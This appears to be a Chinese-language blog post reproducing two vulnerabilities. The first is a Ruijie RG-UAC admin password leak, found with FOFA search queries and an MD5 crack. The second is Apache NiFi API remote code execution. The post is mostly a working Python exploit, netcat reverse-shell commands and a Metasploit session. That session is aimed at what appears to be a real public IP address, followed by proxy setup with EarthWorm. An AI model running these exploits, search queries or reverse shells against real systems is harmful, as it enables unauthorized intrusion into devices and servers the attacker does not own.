3.3 锐捷RG-UAC统一上网行为管理审计系统账号密码信息泄露漏洞 CNVD-2021-14536

一、漏洞描述

锐捷RG-UAC统一上网行为管理审计系统存在账号密码信息泄露,可以间接获取用户账号密码信息登录后台

二、漏洞复现

fofa搜素关键字:

title=”RG-UAC登录页面” && body=”admin”

打开其中一个案例
m_592731b5285d2af266178bce1b4e7ce2_r查看源码,在源码中发现账号admin加密后的md5密码m_c7f04ab4490e7fe592b1d41bb9f45a6b_r
进行md5解密可获取明文密码,利用账户admin以及该密码可成功登录锐捷设备
m_7b68be589a79f78e83ad8e91535ef305_r
三、备注

在进行复现该漏洞时,发现虽然源码中能发现admin的账户、密码,但是在实际登录的时候可能不成功,出现“不存在该账户“、”密码错误”等提示,考虑可能已经进行了加固。

3.4 Apache NiFi API远程代码执行

一、漏洞描述

一个易用、强大、可靠的数据处理与分发系统。基于Web图形界面,通过拖拽、连接、配置完成基于流程的编程,实现数据采集等功能。
影响版本:

Apache NiFi <= 1.12.1
二、漏洞复现
fofa搜索:

fofa:”nifi” && title==”NiFi”

漏洞复现:

poc如下

import sys
import json
import requests as req


class Exp:
    def __init__(self, url):
        self.url = url

    def check_is_vul(self):
        url = self.url + "/nifi-api/access/config"
        try:
            res = req.get(url=url, verify=False)
            data = res.json()
            return not data["config"]["supportsLogin"]
        except Exception as e:
            pass
        return False

    def clean_up(self, p_id):
        url = self.url + "/nifi-api/processors/" + p_id
        data = {'revision': {'clientId': 'x', 'version': 1}, 'state': 'STOPPED'}
        req.put(url=url + "/run-status", data=json.dumps(data), verify=False)
        req.delete(url + "/threads", verify=False)

    def exploit(self, cmd):
        g_id = self.fetch_process_group()
        if g_id:
            p_id = self.create_process(g_id)
            if p_id:
                self.run_cmd(p_id=p_id, cmd=cmd)
                self.clean_up(p_id=p_id)

    def run_cmd(self, p_id, cmd):
        url = self.url + "/nifi-api/processors/" + p_id
        cmd = cmd.split(" ")
        data = {
            'component': {
                'config': {
                    'autoTerminatedRelationships': ['success'],
                    'properties': {
                        'Command': cmd[0],
                        'Command Arguments': " ".join(cmd[1:]),
                    },
                    'schedulingPeriod': '3600 sec'
                },
                'id': p_id,
                'state': 'RUNNING'
            },
            'revision': {'clientId': 'x', 'version': 1}
        }
        print(data)
        headers = {
            "Content-Type": "application/json",
        }
        res = req.put(url=url, data=json.dumps(data), headers=headers, verify=False)
        return res.json()

    def fetch_process_group(self):
        url = self.url + "/nifi-api/process-groups/root"
        try:
            res = req.get(url=url, verify=False)
            data = res.json()["id"]
            return data
        except Exception as e:
            pass
        return 0

    def create_process(self, process_group_id):
        url = self.url + "/nifi-api/process-groups/" + process_group_id + "/processors"
        data = {
            'component': {
                'type': 'org.apache.nifi.processors.standard.ExecuteProcess'
            },
            'revision': {
                'version': 0
            }
        }
        headers = {
            "Content-Type": "application/json",
        }
        try:
            res = req.post(url=url, data=json.dumps(data), headers=headers, verify=False)
            return res.json()["id"]
        except Exception as e:
            pass
        return 0


if __name__ == '__main__':
    if len(sys.argv) != 3:
        print("rce.py url cmd")
    else:
        url = sys.argv[1]  # http://192.168.1.1:8080
        cmd = sys.argv[2]  # nc -e /bin/bash 192.168.1.129 1234
        e = Exp(url)
        e.exploit(cmd)

监听端口
nc -lvp 6666

执行命令
python exp.py http://127.0.0.1:8080 "nc -e /bin/bash 192.168.1.102 6666"

本地客户端执行poc后提示如下,反弹成功:

m_decb0a5385add14a27bb6688f657a433_r但是很多情况下本地执行后,虽然提示成功,但是无法正常反弹shell,本次的测试系统就是这样,此处是尝试利用msf自带apache_nifi_processor_rce进行攻击

msf6 > use exploit/multi/http/apache_nifi_processor_rce
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(multi/http/apache_nifi_processor_rce) > set lhost 192.168.60.7
lhost => 0.0.0.0
msf6 exploit(multi/http/apache_nifi_processor_rce) > set lport 4444
lport => 4444
msf6 exploit(multi/http/apache_nifi_processor_rce) > set rhosts 目标ip
rhosts => 74.208.80.242
msf6 exploit(multi/http/apache_nifi_processor_rce) > set rport 目标端口
rport => 9090
msf6 exploit(multi/http/apache_nifi_processor_rce) > run 

执行run后出现如下提示攻击成功,可进行命令执行
m_715a844958e4d7ee05ee61431770fc2b_r
查看ip地址

m_76ec7133d30b67df23dd41fffd264299_r
可利用wget进行文件下载,搭建代理环境,此处尝试利用EarthWorm进行代理环境搭建
m_b9475ca6834ac9cf5b18aa24e04d1a11_r
m_0545ee0aba31983a5c35db2c2c7fe2b3_r

请登录后发表评论

    请登录后查看回复内容